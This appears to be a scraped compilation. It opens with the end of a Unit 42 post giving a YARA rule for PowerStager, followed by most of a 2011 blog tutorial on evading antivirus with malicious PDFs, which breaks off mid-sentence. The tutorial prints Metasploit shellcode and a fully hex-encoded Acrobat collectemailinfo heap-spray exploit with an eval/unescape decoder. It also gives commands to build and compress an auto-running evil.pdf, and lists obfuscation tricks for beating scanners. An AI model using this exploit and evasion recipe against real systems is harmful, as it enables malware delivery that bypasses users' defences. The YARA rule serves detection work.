123456789101112131415161718192021222324252627282930313233343536373839 | rule powerstager\{ meta: author = "Jeff White - jwhite@paloaltonetworks.com @noottrak" date = "02JAN2018" hash1 = "758097319d61e2744fb6b297f0bff957c6aab299278c1f56a90fba197795a0fa" //x86 hash2 = "83e714e72d9f3c500cad610c4772eae6152a232965191f0125c1c6f97004b7b5" //x64 description = "Detects PowerStager Windows executable, both x86 and x64" strings: $filename = /%s\\\[a-zA-Z0-9\]\{12\}/ $pathname = "TEMP" wide ascii// $errormsg = "The version of this file is not compatible with the version of Windows you're running." wide ascii $filedesc = "Lorem ipsum dolor sit amet, consecteteur adipiscing elit" wide ascii $apicall\_01 = "memset" $apicall\_02 = "getenv" $apicall\_03 = "fopen" $apicall\_04 = "memcpy" $apicall\_05 = "fwrite" $apicall\_06 = "fclose" $apicall\_07 = "CreateProcessA" $decoder\_x86\_01 = \{ 8D 95 \[4\] 8B 45 ?? 01 D0 0F B6 18 8B 4D ?? \} $decoder\_x86\_02 = \{ 89 C8 0F B6 84 05 \[4\] 31 C3 89 D9 8D 95 \[4\] 8B 45 ?? 01 D0 88 08 83 45 \[2\] 8B 45 ?? 3D \} $decoder\_x64\_01 = \{ 8B 85 \[4\] 48 98 44 0F \[7\] 8B 85 \[4\] 48 63 C8 48 \} $decoder\_x64\_02 = \{ 48 89 ?? 0F B6 \[3-6\] 44 89 C2 31 C2 8B 85 \[4\] 48 98 \} condition: uint16be\(0\) == 0x4D5A and all of \($apicall\_\*\) and $filename and $pathname and $filedesc and \(2 of \($decoder\_x86\*\) or 2 of \($decoder\_x64\*\)\)\}  
---|---  
Conclusion

While it’s not the most advanced toolset out there, the author has gone
through a lot of trouble in attempting to obfuscate and make dynamic detection
more difficult. As I mentioned previously, PowerStager has covered a lot of
the bases in obfuscation and flexibility well, but it hasn’t seen too much
usage as of yet; however, it is on the rise and another tool to keep an eye on
as it develops.

Palo Alto Networks currently tracks PowerStager in AutoFocus via the
PowerStager tag. Wildfire has been updated with new signatures to ensure
protection against these executables. The YARA file, PE meta data, and a list
of hashes related to this tool, can be found on the Unit 42 GitHub.

### Got something to say?

Notify me of followup comments via e-mail

  

# The Grey Corner: Bypassing AntiVirus Detection for Malicious PDFs

**Created:**| _4/10/2011 11:52:13 AM_  
---|---  
**Updated:**| _4/10/2011 11:58:30 AM_  
**Author:**| __  
**Tags:**| _Malware-analysis antivirus_  
  

## Bypassing AntiVirus Detection for Malicious PDFs  

**Introduction**  
  
Recently I had to get a malicious PDF file past a virus scanner as part of a
penetration test, and I thought I would share the process I used to do it. But
before I do so, lets get the standard disclaimer out of the way...  
  

Warning\! Please note that this tutorial is intended for educational purposes
only, and you should NOT use the skills you gain here to attack any system for
which you don't have permission to access. It's illegal in most jurisdictions
to access a computer system without authorisation, and if you do it and get
caught \(which is likely\) you deserve whatever you have coming to you. Don't
say you haven't been warned.

  
In case you are in the position of also having to defend your organisation
from these types of threats, I have listed some recommended mitigation
strategies for these types of exploits at the bottom of this post. Most are
pretty straightforward to implement.  
  
Now, on with the main attraction. The method that I will be describing below
will work for any malicious PDF that uses JavaScript to trigger an exploit.
This applies to a large number of the PDF vulnerabilities out there, including
u3d\_meshcont, flatedecode\_predictor, geticon, collectemailinfo, utilprintf,
etc.  
  
**Requirements**  
  
To follow along, you will need to have some skill in writing exploits, and
some ability to write JavaScript \(if you can at least read JavaScript you
should be able to follow along based on the example JavaScript code I will
provide\).  
  
You will need the following tools to create the malicious PDF:  

  * pdftk. Use 'apt-get install pdftk' to install on Debian/Ubuntu/BackTrack 4, or grab the install from here for other systems.
  * make-pdf tools. Get it from here.
  * escapeencoder.pl. A very simple perl script that takes a filename as input and outputs the file, hex encoded to STDOUT, available here.
  * rhino. A JavaScript debugger, useful for testing our code to see if our obfuscation techniques are working as intended, available here.
  * Python. Needed to run make-pdf tools, probably already on your system if you're running Linux, otherwise here.
  * Metaspoit and all its dependancies. \(Ruby, etc, Im not listing them individually, go here for an installation guide\)
  * A Java Runtime Engine. Needed to run rhino. Id be very surprised if you don't already have one installed, but if not go here.
  * Perl. Needed to run escapeencoder.pl, probably already installed if you run Linux, otherwise start here.
  * A text editor that supports syntax highlighting for Javascipt. Not strictly necessary, but it helps when modifying your JavaScript code. I use gedit when using Ubuntu, or kate in BackTrack.

  
You also need to test that your malicious PDF works, and is not being detected
by your target AV program. For this, you will most likely want a Windows
system which has:  

  * The target PDF reader application installed. Old versions of Adobe Reader can be downloaded from OldApps \- I am using Adobe Acrobat Reader 7.0 for this demonstration.
  * The target AV program installed. I am using Symantec Endpoint Protection 11 for this demonstration.

  

> Note: Be warned that some online virus scanning services such as VirusTotal
> may provide samples of submitted files to AV vendors, so don't use them to
> test if your modified files are bypassing AV detection unless you want them
> to have a very short useful life for your Pentestng activities.
  
**Summary of the Process**  
  
The basic process of creating our malicious PDF is pretty simple, and can be
summarised in the following steps:  

  1. Get your PDF exploit base Javascript code.
  2. Obfuscate the JavaScript code to avoid detection.
  3. Create a PDF file that automatically runs the JavaScript on opening of the document.
  4. Compress the PDF file to provide an additional level of detection avoidance \(optional\).

  
Now lets get into the detail.  
  
**Get the Exploit Javascript Code**  
  
Before we can begin trying to bypass AV detection of a malicious PDF file, we
need to have access to the JavaScript exploit code \(at least for the
particular method I will be describing here\).  
  
One place that you can get the JavaScript exploit code for your chosen PDF
vulnerability is to extract it from an existing exploit, such as one created
using Metasploit. I have documented the process for doing this here.  
  
**Example Exploit Code**  
  
Personally I have had trouble getting the Metasploit PDF examples working on
my chosen target Acrobat Reader version 7.00, so I chose to make use of
JavaScript exploit code for the collectemailinfo vulnerability that I found
"in the wild". Here it is below, tidied up a bit with the variable names made
a bit more meaningful and the nasty shellcode removed.  
  
  

<img src='img/Temp2_8058.jpg' width='640' height='526' />

  

> Doh\! While I previously had this code above inline-quoted, this was
> apparently causing this blog entry to be detected as malicious code by
> certain virus scanners. Oh the irony. Probably should have seen that one
> coming huh? Now, until I find a better method, Im displaying a picture of
> the code instead of the code itself, and you get to type it in. Fun huh?
  
If you have done my Heap Spray tutorial some of the code above should be
looking familiar to you by now. This code is quite reliable at getting code
execution on Windows XP SP2 or SP3 with Acrobat Reader 7.0 installed. It only
has one issue, in that it tends to run certain payloads twice, which you just
need to be aware of and work around.  
  
To confirm that this code works, we will want to add some shellcode in
JavaScript unicode format into the appropriate variable in the HeapSpray
function. Lets generate some shellcode to run calc.exe in JavaScript format...  
  
To confirm that this code works, we will want to add some shellcode in
JavaScript unicode format into the appropriate variable in the HeapSpray
function. Lets generate some shellcode to run calc.exe in JavaScript format
using Metasploits msfpayload command...  
  

> lupin@lion:~$ msfpayload windows/exec CMD=calc.exe J  
>  // windows/exec - 200 bytes  
>  // http://www.metasploit.com  
>  // EXITFUNC=process, CMD=calc.exe  
>
> %ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%uc031%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf0e2%u5752%u528b%u8b10%u3c42%ud001%u408b%u8578%u74c0%u014a%u50d0%u488b%u8b18%u2058%ud301%u3ce3%u8b49%u8b34%ud601%uff31%uc031%uc1ac%u0dcf%uc701%ue038%uf475%u7d03%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a%ueb12%u5d86%u016a%u858d%u00b9%u0000%u6850%u8b31%u876f%ud5ff%uf0bb%ua2b5%u6856%u95a6%u9dbd%ud5ff%u063c%u0a7c%ufb80%u75e0%ubb05%u1347%u6f72%u006a%uff53%u63d5%u6c61%u2e63%u7865%u0065
  
...and now we can stick it into our JavaScript exploit code \(into the
Shellcode variable\).  
  

<img src='img/Temp2_8060.jpg' width='640' height='436' />

  

> Yep, another picture to avoid this blog post instructing you how to avoid AV
> from being detected as a virus. If you have already typed in the code from
> the previous picture, you can just edit that document to match this one by
> putting your Metasploit generated shellcode into the shellcode variable.
  
To confirm this works, we will load this into a PDF document and set it to
autorun using make-pdf tools. Save the malicious script as script1.js, and
create a PDF file evil.pdf like so.  
  

> lupin@lion:~$ make-pdf-javascript.py -f script1.js evil.pdf
  
Now we copy it to the victim system and open it, taking care to disable the
Autoprotect function of our AV client first, and BAM\!\!\! we have
calculator\! \(Probably two of them actually, since this exploit ends up
running the shellcode twice\).  
  

<img src='img/Temp2_8056.jpg' />

  
  
But when we scan the PDF file, we see it is detected as a virus, and if we had
not disabled the Autoprotect feature of the AV client first, it would have
snagged the file before we even got to run it.  
  

<img src='img/Temp2_8054.jpg' width='640' height='307' />

  
  
So at this point we have a malicious PDF file which we know works, but it's
getting detected as a virus by our scanner, which under normal circumstances
would prevent it from being opened. How do we get around this?  
  
**What Makes this a Virus?**  
  
Lets think for a moment about how our AV scanner is recognising our PDF file
as malicious. If we cat the file to STDOUT, you can see the structure of the
PDF file, which is essentially text based.  
  
The structure of the PDF file itself is actually very simple, with the
majority of the "lines" in the file being standard PDF structuring text, along
with the malicious JavaScript sitting in the middle. Since the majority of the
contents of the file appears to be PDF structure data, all that could be used
to differentiate this "bad" PDF file from a normal PDF file is sitting inside
that block of JavaScript we inserted. Based on this, it's reasonable to assume
that the JavaScript itself is what is causing the virus detection. We dont
just have to assume this though, we can test it. Try inserting this do-nothing
and extremely self aggrandizing snippet of JavaScript below \(lupinrocks.js\)
into a PDF file and scanning it with your AV.  
  
Write the following code to lupinrocks.js:  
  

> var a = "Lupin rocks\!";
  
Make the PDF:  
  

> lupin@lion:~$ make-pdf-javascript.py -f lupinrocks.js nice.pdf
  
And now stick it on your Windows box and scan it. No virus detection right?
You can even cat this nice.pdf file as well to see the difference between it
and our evil copy. The difference is all in the JavaScript.  
  

> Note: If your nice.pdf IS being detected as a virus by your AV scanner, then
> the most likely explanation is that some enterprising AV signature writer
> has decided to create a signature for PDF files created using make-pdf
> tools. If that's the case then changing some pattern in the file thats
> unique to the way that make-pdf creates PDF files should provide a fix. Id
> start with the line containing "JavaScript example". If that doesn't work
> you can start reading the PDF Reference from Adobe or Didier Steven's blog
> to get a better understanding of the PDF file format to get a better idea of
> how to modify the file without breaking it.
So if the scanner is picking up the JavaScript as malicious, common sense
tells us that modifying the JavaScript should allow us to escape detection.
That leads us to the step of obfuscating the JavaScript.  
  
**Obfuscate the JavaScript code**  
  
Obfuscating our JavaScript code can be done in a number of different ways, and
sometimes very minor changes can stop an AV product from detecting that
anything is amiss. For example, I was able to bypass AV detection for my file
just by rewriting certain parts of the code to make my copy of the exploit
slightly more elegant. Assuming a simple "tidy" doesn't fix the problem for
you though, lets look at some other ways in which we can obfuscate JavaScript
code.  
  
**JavaScript Obfuscation Techniques**  
  
The following is not intended as an exhaustive reference to JavaScript
obfuscation, but it should serve at least as a useful introduction to the
topic, and should allow you to start obfuscating your own JavaScript code.  
  
Obfuscation of code can be used in order to make non-compiled code less
readable by a human, and to hide particular commands from automated detection
mechanisms, such as those used by virus scanners, intrusion detection systems,
and the like.  
  
Some of the techniques used for obfuscating code are as follows:  

  * Remove spacing and carriage returns from the code to make the code less readable to a human \(the code still must be structured according to the requirements of the appropriate programming language in order to run however\).
  * Rename variables in the code to make them less meaningful and less easily recognised by a human \(this might also help you avoid badly designed filters looking for variables or functions named shellcode or heapspray\). 
  * Insert garbage comments into the code to make the code more difficult for a human to read and to potentially confuse certain filters which are looking for two terms to appear close together. 
  * Creating aliases for functions. JavaScript allows us to create aliases for existing built in functions, allowing us to substitute our own function names in the code.
  * Encode elements of the code itself, for decoding at runtime. This is one of the more effective ways to make code less comprehensible to both humans and automated systems.

Personally I'm less concerned about making this unreadable to a human and more
concerned with the methods that help foil automated analysis, so I will
concentrate on the garbage comment, function aliasing and encoding methods of
obfuscation below. Of these methods, the garbage comment and function aliasing
methods are very straightforward to demonstrate, but the encoding method
probably requires some programming language specific explanation, so we will
briefly discuss some of the ways in which this can be achieved in JavaScript.  
  
JavaScript has a number of Functions and Methods that are useful for encoding
information, as listed below:  

  * Unescape. The unescape\(\) function is used to decode a string encoded in either a single or double byte hex format. 
  * Eval. The eval\(\) function is used to take an input string and then run that string as if it were code.
  * Replace. The .replace\(\) method is used to replace one pattern with another in a string. It is a method of an instance of the string object.
  * FromCharCode. The String.fromCharCode\(\) method is used to create a string from a set of character codes. It is a method of the JavaScript String object, and takes decimal values as input.

The best way to demonstrate how these functions and methods are used in
encoding information would be to actually show you.  
  
**Example Obfuscated Code**  
  
The following file, which we will call encoded1.js, is actually an encoded
version of script1.js, made using some of the techniques I have discussed
above.  
  

>
> blah='gh76gh61gh72gh20gh4dgh65gh6dgh41gh72gh72gh61gh79gh20gh3dgh20gh6egh65gh77gh20gh41gh72gh72gh61gh79gh28gh29gh3bgh0agh0agh66gh75gh6egh63gh74gh69gh6fgh6egh20gh66gh75gh6egh63gh74gh69gh6fgh6egh31gh28gh76gh61gh72gh31gh2cgh20gh76gh61gh72gh32gh29gh7bgh0agh09gh77gh68gh69gh6cgh65gh20gh28gh76gh61gh72gh31gh2egh6cgh65gh6egh67gh74gh68gh20gh2agh20gh32gh20gh3cgh20gh76gh61gh72gh32gh29gh7bgh0agh09gh09gh76gh61gh72gh31gh20gh2bgh3dgh20gh76gh61gh72gh31gh3bgh0agh09gh7dgh0agh09gh76gh61gh72gh31gh20gh3dgh20gh76gh61gh72gh31gh2egh73gh75gh62gh73gh74gh72gh69gh6egh67gh28gh30gh2cgh20gh76gh61gh72gh32gh20gh2fgh20gh32gh29gh3bgh0agh09gh72gh65gh74gh75gh72gh6egh20gh76gh61gh72gh31gh3bgh0agh7dgh0agh0agh66gh75gh6egh63gh74gh69gh6fgh6egh20gh48gh65gh61gh70gh53gh70gh72gh61gh79gh28gh69gh6egh70gh75gh74gh29gh7bgh0agh09gh76gh61gh72gh20gh53gh70gh72gh61gh79gh76gh61gh6cgh20gh3dgh20gh30gh78gh30gh63gh30gh63gh30gh63gh30gh63gh3bgh0agh09gh53gh68gh65gh6cgh6cgh63gh6fgh64gh65gh20gh3dgh20gh75gh6egh65gh73gh63gh61gh70gh65gh28gh22gh25gh75gh65gh38gh66gh63gh25gh75gh30gh30gh38gh39gh25gh75gh30gh30gh30gh30gh25gh75gh38gh39gh36gh30gh25gh75gh33gh31gh65gh35gh25gh75gh36gh34gh64gh32gh25gh75gh35gh32gh38gh62gh25gh75gh38gh62gh33gh30gh25gh75gh30gh63gh35gh32gh25gh75gh35gh32gh38gh62gh25gh75gh38gh62gh31gh34gh25gh75gh32gh38gh37gh32gh25gh75gh62gh37gh30gh66gh25gh75gh32gh36gh34gh61gh25gh75gh66gh66gh33gh31gh25gh75gh63gh30gh33gh31gh25gh75gh33gh63gh61gh63gh25gh75gh37gh63gh36gh31gh25gh75gh32gh63gh30gh32gh25gh75gh63gh31gh32gh30gh25gh75gh30gh64gh63gh66gh25gh75gh63gh37gh30gh31gh25gh75gh66gh30gh65gh32gh25gh75gh35gh37gh35gh32gh25gh75gh35gh32gh38gh62gh25gh75gh38gh62gh31gh30gh25gh75gh33gh63gh34gh32gh25gh75gh64gh30gh30gh31gh25gh75gh34gh30gh38gh62gh25gh75gh38gh35gh37gh38gh25gh75gh37gh34gh63gh30gh25gh75gh30gh31gh34gh61gh25gh75gh35gh30gh64gh30gh25gh75gh34gh38gh38gh62gh25gh75gh38gh62gh31gh38gh25gh75gh32gh30gh35gh38gh25gh75gh64gh33gh30gh31gh25gh75gh33gh63gh65gh33gh25gh75gh38gh62gh34gh39gh25gh75gh38gh62gh33gh34gh25gh75gh64gh36gh30gh31gh25gh75gh66gh66gh33gh31gh25gh75gh63gh30gh33gh31gh25gh75gh63gh31gh61gh63gh25gh75gh30gh64gh63gh66gh25gh75gh63gh37gh30gh31gh25gh75gh65gh30gh33gh38gh25gh75gh66gh34gh37gh35gh25gh75gh37gh64gh30gh33gh25gh75gh33gh62gh66gh38gh25gh75gh32gh34gh37gh64gh25gh75gh65gh32gh37gh35gh25gh75gh38gh62gh35gh38gh25gh75gh32gh34gh35gh38gh25gh75gh64gh33gh30gh31gh25gh75gh38gh62gh36gh36gh25gh75gh34gh62gh30gh63gh25gh75gh35gh38gh38gh62gh25gh75gh30gh31gh31gh63gh25gh75gh38gh62gh64gh33gh25gh75gh38gh62gh30gh34gh25gh75gh64gh30gh30gh31gh25gh75gh34gh34gh38gh39gh25gh75gh32gh34gh32gh34gh25gh75gh35gh62gh35gh62gh25gh75gh35gh39gh36gh31gh25gh75gh35gh31gh35gh61gh25gh75gh65gh30gh66gh66gh25gh75gh35gh66gh35gh38gh25gh75gh38gh62gh35gh61gh25gh75gh65gh62gh31gh32gh25gh75gh35gh64gh38gh36gh25gh75gh30gh31gh36gh61gh25gh75gh38gh35gh38gh64gh25gh75gh30gh30gh62gh39gh25gh75gh30gh30gh30gh30gh25gh75gh36gh38gh35gh30gh25gh75gh38gh62gh33gh31gh25gh75gh38gh37gh36gh66gh25gh75gh64gh35gh66gh66gh25gh75gh66gh30gh62gh62gh25gh75gh61gh32gh62gh35gh25gh75gh36gh38gh35gh36gh25gh75gh39gh35gh61gh36gh25gh75gh39gh64gh62gh64gh25gh75gh64gh35gh66gh66gh25gh75gh30gh36gh33gh63gh25gh75gh30gh61gh37gh63gh25gh75gh66gh62gh38gh30gh25gh75gh37gh35gh65gh30gh25gh75gh62gh62gh30gh35gh25gh75gh31gh33gh34gh37gh25gh75gh36gh66gh37gh32gh25gh75gh30gh30gh36gh61gh25gh75gh66gh66gh35gh33gh25gh75gh36gh33gh64gh35gh25gh75gh36gh63gh36gh31gh25gh75gh32gh65gh36gh33gh25gh75gh37gh38gh36gh35gh25gh75gh30gh30gh36gh35gh22gh29gh3bgh0agh09gh69gh66gh20gh28gh69gh6egh70gh75gh74gh20gh3dgh3dgh20gh31gh29gh7bgh0agh09gh09gh53gh70gh72gh61gh79gh76gh61gh6cgh20gh3dgh20gh30gh78gh33gh30gh33gh30gh33gh30gh33gh30gh3bgh0agh09gh7dgh0agh09gh76gh61gh72gh20gh63gh6fgh6egh73gh74gh30gh31gh20gh3dgh20gh30gh78gh34gh30gh30gh30gh30gh30gh3bgh0agh09gh76gh61gh72gh20gh53gh63gh4cgh65gh6egh67gh74gh68gh20gh3dgh20gh53gh68gh65gh6cgh6cgh63gh6fgh64gh65gh2egh6cgh65gh6egh67gh74gh68gh20gh2agh20gh32gh3bgh0agh09gh76gh61gh72gh20gh6egh6fgh70gh6cgh65gh6egh67gh74gh68gh20gh3dgh20gh63gh6fgh6egh73gh74gh30gh31gh20gh2dgh20gh28gh53gh63gh4cgh65gh6egh67gh74gh68gh20gh2bgh20gh30gh78gh33gh38gh29gh3bgh0agh09gh76gh61gh72gh20gh6egh6fgh70gh20gh3dgh20gh75gh6egh65gh73gh63gh61gh70gh65gh28gh22gh25gh75gh39gh30gh39gh30gh25gh75gh39gh30gh39gh30gh22gh29gh3bgh0agh09gh6egh6fgh70gh20gh3dgh20gh66gh75gh6egh63gh74gh69gh6fgh6egh31gh28gh6egh6fgh70gh2cgh20gh6egh6fgh70gh6cgh65gh6egh67gh74gh68gh29gh3bgh0agh09gh76gh61gh72gh20gh61gh72gh72gh61gh79gh73gh69gh7agh65gh20gh3dgh20gh28gh53gh70gh72gh61gh79gh76gh61gh6cgh20gh2dgh20gh63gh6fgh6egh73gh74gh30gh31gh29gh20gh2fgh20gh63gh6fgh6egh73gh74gh30gh31gh3bgh0agh09gh66gh6fgh72gh20gh28gh76gh61gh72gh20gh61gh20gh3dgh20gh30gh3bgh20gh61gh20gh3cgh20gh61gh72gh72gh61gh79gh73gh69gh7agh65gh3bgh20gh61gh20gh2bgh2bgh20gh29gh7bgh0agh09gh09gh4dgh65gh6dgh41gh72gh72gh61gh79gh5bgh61gh5dgh20gh3dgh20gh6egh6fgh70gh20gh2bgh20gh53gh68gh65gh6cgh6cgh63gh6fgh64gh65gh3bgh0agh09gh7dgh0agh7dgh0agh0agh66gh75gh6egh63gh74gh69gh6fgh6egh20gh53gh70gh6cgh6fgh69gh74gh28gh29gh7bgh0agh09gh48gh65gh61gh70gh53gh70gh72gh61gh79gh28gh30gh29gh3bgh0agh09gh76gh61gh72gh20gh63gh73gh6cgh65gh64gh20gh3dgh20gh75gh6egh65gh73gh63gh61gh70gh65gh28gh22gh25gh75gh30gh63gh30gh63gh25gh75gh30gh63gh30gh63gh22gh29gh3bgh0agh09gh77gh68gh69gh6cgh65gh20gh28gh63gh73gh6cgh65gh64gh2egh6cgh65gh6egh67gh74gh68gh20gh3cgh20gh34gh34gh39gh35gh32gh29gh20gh63gh73gh6cgh65gh64gh20gh2bgh3dgh20gh63gh73gh6cgh65gh64gh3bgh0agh09gh74gh68gh69gh73gh20gh2egh63gh6fgh6cgh6cgh61gh62gh53gh74gh6fgh72gh65gh20gh3dgh20gh43gh6fgh6cgh6cgh61gh62gh2egh63gh6fgh6cgh6cgh65gh63gh74gh45gh6dgh61gh69gh6cgh49gh6egh66gh6fgh28gh7bgh73gh75gh62gh6agh20gh3agh20gh22gh22gh2cgh20gh6dgh73gh67gh20gh3agh20gh63gh73gh6cgh65gh64gh7dgh29gh3bgh0agh7dgh0agh0agh53gh70gh6cgh6fgh69gh74gh28gh29gh3bgh0a';  
>  
>  rep1 = '%';  
>  repbit1 = 'g';  
>  repbit2 = 'h';  
>  
>  bfbits = \[117, 110, 101, 115, 99, 97, 112, 101\];  
>  
>  bftext = '';  
>  for \(i=0; i  
>  bftext += String./\* blah garbage comment blah
> \*/fromCharCode\(bfbits\[i\]\);  
>  \}  
>  
>  
>  blahstring="var blahfunction1=" \+ bftext;  
>  eval\(blahstring\);  
>  
>  rep =repbit1 + repbit2;  
>  ume = blah.replace\(new RegExp\(rep, "g"\), rep1\);  
>  eme = blahfunction1\(ume\);  
>  
>  eval\(eme\);
  
**Purpose of the Obfuscated Code**  
  
Lets discuss what this JavaScript code is actually doing, taking it section by
section.  
  
The first line, which sets the variable of blah, actually contains an encoded
form of the script1.js script. We perform this encoding by using the
escapeencoder.pl perl script, which will encode each byte in the file into its
hex equivalent \(e.g. the lower case 'a' becomes '%61'\) and then running the
output through sed to replace the '%' character with 'gh'. The following
command line achieves this and writes the content to basetext.txt, which you
can then copy and paste into the script \(make sure escapeencoder.pl is in
your path and marked executable\).  
  

> lupin@lion:~$ escapeencoder.pl script1.js | sed 's/%/gh/g' > basetext.txt
  
Please note that the replacement values of gh have been chosen specifically
because they DO NOT already appear in the encoded output of the script1.js
script. This fact becomes very important when we come to decoding this again
later. Essentially any set of values can be used when doing this, as long as
they don't already appear in the encoded output.  
  
The next three lines set the variables of rep1, repbit1 and repbit2, which we
will use later on in the script when we are decoding our encoded script.  
  

> rep1 = '%';  
>  repbit1 = 'g';  
>  repbit2 = 'h';
  
The next line creates the bfbits array, which contains a few decimal values.
The ASCII equivalents of these values are the characters 'u', 'n', 'e', 's',
'c', 'a', 'p', 'e', which when joined together form the word 'unescape'.  
  

> bfbits = \[117, 110, 101, 115, 99, 97, 112, 101\];
  
The next four lines assign the string 'unescape' to the variable bfbits by
creating the variable and then for looping through the bfbits array, using the
fromCharCode String method to decode the decimal values into a text string. A
garbage comment has been thrown between the String object and the fromCharCode
method in order to confuse analysis a little \(ordinarily this would appear as
String.fromCharCode\).  
  

> bftext = '';  
>  for \(i=0; i  
>  bftext += String./\* blah garbage comment blah
> \*/fromCharCode\(bfbits\[i\]\);  
>  \}
  
The next two lines create an alias function for unescape\(\), called
blahfunction1. We basically create a line of code that assigns blahfunction1
as an alias of unescape into the blahstring variable, and then run that as
code using eval\(blahstring\).  
  

> blahstring="var blahfunction1=" \+ bftext;  
>  eval\(blahstring\);
  
The next three lines replace instances of 'gh' in the string blah with '%' and
places the decoded JavaScript into a variable. First we assign the value 'gh'
into variable rep, then in the next line of code we replace all instances of
'gh' in the variable blah with '%' and store the output in variable 'ume'. We
then use our aliased function for unescape, blahfunction1, to decode the value
of 'ume' and store the result in variable 'eme'. The variable eme now
essentialy has an exact code of our initial code from script1.js.  
  

> rep =repbit1 + repbit2;  
>  ume = blah.replace\(new RegExp\(rep, "g"\), rep1\);  
>  eme = blahfunction1\(ume\);
  
The final line then runs the variable 'eme' as code, and completes our
exploit.  
  

> eval\(eme\);
  
**Confirming correct code execution using Rhino**  
  
Now at this point you might be thinking that its all well and good for me to
be able to explain the purpose of this code, but how do you get to check for
yourself what it does and whether its working? What if you make a typo when
entering the code, or if you try and use a function or a method in a way that
is not supported? This is where a JavaScript debugger comes in handy, so you
can step through the code, or run just a few sections of it, to ensure it is
doing what you intended.  
  
I use the Rhino JavaScript debugger for this. To run it, you just download the
.zip archive from the link provided above, unzip it to disk and access the
JavaScript Debugger functionality from within the js-14.jar file. I like to
copy js-14.jar to /opt/rhino/ and create a runrhino.sh script in the same
directory that contains the following command line:  
  

> java -cp /opt/rhino/js-14.jar org.mozilla.javascript.tools.debugger.Main &
  
Then just /opt/runrhino.sh and Rhino will start. In the Rhino window you will
notice buttons labeled Go, Step Into, Step Over and Step Out, which control
how the debugger will debug code. Basically, Go means run the code until a
breakpoint or the end of the code is reached, Step Into means execute the
current line of code entering into the code of a sub function if selected,
Step Over means execute the current line of code but dont enter into the code
of functions, and Step Out means to continue execution until the current
function exits. A more complete description of the use of the debugger is
here.  
  

<img src='img/Temp2_8053.jpg' width='400' height='286' />

  
  
To run a script from within Rhino, just select the script file from its
location on disk using the File->Run... menu option in Rhino, and it should
open up and pause execution at the first line of code. The current line of
code the the debugger is looking to evaluate is indicated by a yellow arrow
along the left hand side of the code display window.  
  

<img src='img/Temp2_8061.jpg' width='640' height='460' />

  
At this point it is important to understand that the Rhino debugger cannot run
any JavaScript methods or functions that are specific to particular
applications such as Acrobat Reader or a web browser such as Firefox or
Internet Explorer. This means that we cannot use Rhino to run our script all
of the way through - you will receive an error 'ReferenceError:"Collab" is not
defined.' if you try. We can however run it far enough to tell whether our
JavaScript encoding is working as expected.  
  
In the screenshot below I have stepped to the final line of my encoded1.js
script \(as you can see by the position of the yellow arrow\), and I have used
the Evaluate tab in the bottom right hand corner of the screen to show me the
values of variables such as bftext, rep and blahstring. Just click on the
Evaluate tab, type in the name of the appropriate variable and hit Enter to
see its assigned value at that point in the execution of the JavaScript code.  
  

<img src='img/Temp2_8055.jpg' width='640' height='462' />

  
Just by the virtue of having gotten this far in the code I know that:  

  * The Javascript up to that point is syntactically correct \(the fact that the script loaded at all into Rhino can also confirm this to some extent\) AND
  * The JavaScript code is setting the variables I have checked to the values I intended.

  
Essentially, this means that the JavaScript encoding is working the way I
intended it to. I can even check at this stage that the eme variable contains
the code from script1.js.  
  

<img src='img/Temp2_8057.jpg' width='640' height='512' />

  
After this has been confirmed you can just close Rhino. If you make a mistake
in your JavaScript code and need to load a new version of a script into Rhino,
just be aware that it can be a little bit awkward sometimes to redebug code
inside Rhino. You may need to close Rhino and reopen it if you have problems
starting the debugging process again. This process of Rhino debugging can also
be very useful when you need to remove obfuscation from JavaScript code when
you are analysing malicious PDFs.  
**  
**  
**Obfuscate your own way...**  
  
Now at this point I should stress that the above code should be treated as an
example of how to obfuscate code. When you are doing this for real don't just
copy exactly what I did and expect it to work. If this particular example of
code above gets found in malicious PDFs in the wild AV vendors are likely to
add it to their virus signatures database which means that it will no longer
be able to be used \(at least without modification\) in bypassing AV
detection. So treat this just as a demonstration of techniques that can be
used when obfuscating code, and once you have gone through the above and
understand how it works try using the techniques to obfuscate code in your own
way. Hopefully I have gone into enough detail about how the example code works
and about how you can check for logic and syntax errors in your code using
Rhino to give you enough confidence to try this out on your own. If you need a
reference for JavaScript I have found that just Googling the particular goal
you are attempting along with the word JavaScript is a pretty quick way to
find some example code, however one site I have found myself continually
returning to that you might find useful is here.  
  
At this point I will also mentioned that there are a number of JavaScript
packers and obfuscators available on websites in standalone tools that you
could use to obfuscate your code without doing it manually. A Google search
for "javascript obfuscator" or "javascript packer" will point you to a number
of results, and you could also use one of the built in obfuscators in
Durzosploit \(I'd provide a link but the homepage is currently unavailable -
just Google it to find a third party source or grab it from the repo if you're
running BackTrack\).  
  
Anyway, now that we have our obfuscated JavaScript code we should stick it
into a PDF file for a final test.  
**  
**  
**Create a PDF File that Automatically Runs the Script**  
  
Creating a PDF to auto run the script is done using the same process we have
already used a few times during this process.  
  

> lupin@lion:~$ make-pdf-javascript.py -f encoded1.js evil.pdf
  
Now we take the evil.pdf file and place it on your test victim system. Run it
to confirm it works, then try and virus scan it...  
  

<img src='img/Temp2_8059.jpg' width='640' height='328' />

  
  
No virus detected\! Now theres just one other thing we can add to this
process.  
  
**Compress the PDF**  
  
The PDF Toolkit \(pdftk\) has a compression option which we can use to make
our PDF file a little smaller, basically just removing spacing from our
JavaScript code within the PDF. Its of no huge benefit from a perspective of
hiding from automated detection \(which is why I have listed it as an optional
step\), but it doesnt really hurt either.  
  

> lupin@lion:~$ pdftk evil.pdf output evil1.pdf compress
  
**The End of the Story?**  
  
In this post I have covered a number of ways to obfuscate the contents of a
PDF file in order to bypass AV detection, focusing mainly on methods that can
be performed easily with existing free tools. These are not the only methods
by which the contents of PDF files can be obfuscated however. Individual
streams in the PDF file can be compressed using various methods, sections of
code can be hidden in other parts of the PDF document and then extracted via
script, fields in the PDF document can be reordered to prevent PDF documents
from being recognised as such by particular parsers \(which may prevent PDF
detection rules being applied to the document in IDS or AV scanners\), and
more. If you want to know more on the subject you can check out Didier Stevens
blog which has a number of posts relating to the subject, and keep your eyes
peeled for new articles analysing PDF exploits \(like this\), which are
beginning to appear more frequently on the blogs of various security vendors.  
  
**Lessons Learned...**  
  
So what lessons can we learn from this little exercise?  
  
First of all, you can't rely on an AV Scanner to protect you from targeted
attacks. I should note at this point that this is not just specific to the
